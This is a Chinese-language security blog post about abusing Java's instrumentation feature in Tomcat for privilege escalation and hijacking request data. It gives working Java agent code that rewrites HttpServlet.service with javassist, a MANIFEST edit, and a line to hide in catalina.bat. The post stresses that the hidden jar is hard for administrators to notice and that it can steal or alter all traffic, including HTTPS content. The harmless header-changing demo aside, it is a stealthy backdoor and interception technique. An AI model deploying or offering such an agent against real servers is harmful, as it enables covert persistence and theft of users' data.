Java Web本地提权以及数据劫持思路(以Tomcat为例)

Java Web本地提权以及数据劫持思路(以Tomcat为例)

最近偶然接触到一个Java的不常用的特性:instrument。简单来说,这个特性允许你在程序运行之前改变任意类文件的字节码。简单的instrument例子大家可以百度,相当多。而在运行Java程序的时候,只需要加上一个选项即可运行写好的instrument jar包,如:java  -javaagent:agent.jar -jar helloworld.jar。

那么回到这次的主题,如何在tomcat中利用这个特性做到提权和劫持数据呢?

提权的思路其实可能有些小伙伴已经想到了。就是根据这个特性写一个Java程序,打包成jar(比如agent.jar),然后放到tomcat的lib里或者其他地方,然后在catalina.bat中找个隐蔽的地方加上如下一行:

set CATALINA_OPTS=%CATALINA_OPTS% -javaagent:绝对路径/agent.jar=参数

当管理员启动tomcat的时候就会执行agent里的Java代码了。

当然,这么做需要能上传文件以及对catalina.bat有写权限。

其实当你能登录服务器或者有shell的时候,已经可以做很多事了。提权可能根本不需要通过tomcat这种途径。

那么是否还能做点别的呢?

根据这个特性,其实还可以拦截所有http请求的数据。

据本人所知,所有Java web项目里的请求处理类都继承了HttpServlet这个抽象类,包括Spring。所以你只要通过这个特性,修改HttpServlet的代码就可以获取和改动所有request和response的头以及数据,要把数据发走也不是问题,加个URLconnection的处理就行。以下给一个简单的示例,

项目截图:

Java Web本地提权以及数据劫持思路(以Tomcat为例)

Transformer类,功能相当于把Java代码插入了HttpServlet中。几乎可插入任意变量和方法,但有些写法上稍微与一般的java不一样,且尽量使用core java:

package org.xf.agent;  import java.io.ByteArrayInputStream;  import java.lang.instrument.ClassFileTransformer;  import java.lang.instrument.IllegalClassFormatException;  import java.lang.reflect.Modifier;  import java.security.ProtectionDomain;  import javassist.ClassPool;  import javassist.CtClass;  import javassist.CtMethod;  public class ServletTransformer  implements ClassFileTransformer{  @Override  public byte[] transform(ClassLoader loader, String className,Class<?> classBeingRedefined, ProtectionDomain protectionDomain,byte[] classfileBuffer) throws IllegalClassFormatException {  if(className.equals("javax/servlet/http/HttpServlet")){  return transformClass(classfileBuffer);  }  return classfileBuffer;  }  private byte[] transformClass(byte[] classfileBuffer) {  try {              ClassPool cp = ClassPool.getDefault();              CtClass cc = cp.makeClass(new ByteArrayInputStream(classfileBuffer));              CtMethod[] ms = cc.getDeclaredMethods();              for(CtMethod method: ms)              {             	//只改动service方法就够了             	if(method.getName().equals("service")&&Modifier.toString(method.getModifiers()).equals("protected"))             	{             	method.insertAfter("resp.setHeader(/"Server/",/"JBoss/");");             	}              }              byte[] byteCode = cc.toBytecode();              cc.detach();              return byteCode;          } catch (Exception ex) {              ex.printStackTrace();              return null;          }  }  }

Agent类:

package org.xf.agent;  import java.lang.instrument.Instrumentation;  public class ServletAgent {  public static void premain(String agentArguments, Instrumentation instrumentation) {     instrumentation.addTransformer(new ServletTransformer());  }  }

导出为可执行Jar,用7z编辑Jar包里的MANIFEST.MF文件,加上一行:

premain-Class: org.xf.agent.ServletAgent

样本如下图所示:

Java Web本地提权以及数据劫持思路(以Tomcat为例)

然后随便建个Web项目,servlet代码如下:

@WebServlet("/Basic")  public class Basic extends HttpServlet {  private static final long serialVersionUID = 1L;             /**      * @see HttpServlet#HttpServlet()      */     public Basic() {         super();         // TODO Auto-generated constructor stub     }  /**  * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)  */  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  response.getWriter().print("Hello");  }  /**  * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)  */  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  response.getWriter().print("Hello");  }  }

别忘了在tomcat的catalina.bat中加入那一行,建议使用绝对路径,然后下面是运行效果,可以看到响应头中出现了Server: JBoss。

Java Web本地提权以及数据劫持思路(以Tomcat为例)

这样做的隐蔽性很好,因为几乎不会有管理员去检查lib里的jar是不是多了一个,catalina的配置更是几百年都不一定检查一次。而无论项目war包如何换,都不影响这个隐藏jar包的。基本只要这个程序不导致什么重大的性能问题,就很难被发现。并且由于这个方法是从内部修改程序,HTTPS加密的内容也可以修改和盗取。

这并不是一个Bug或者漏洞,而是一个完全正规的Java特性,所以。。。应该是不可被修复的吧。

*本文作者:jfeiyi 。转载请注明来自FreeBuf.com

发表评论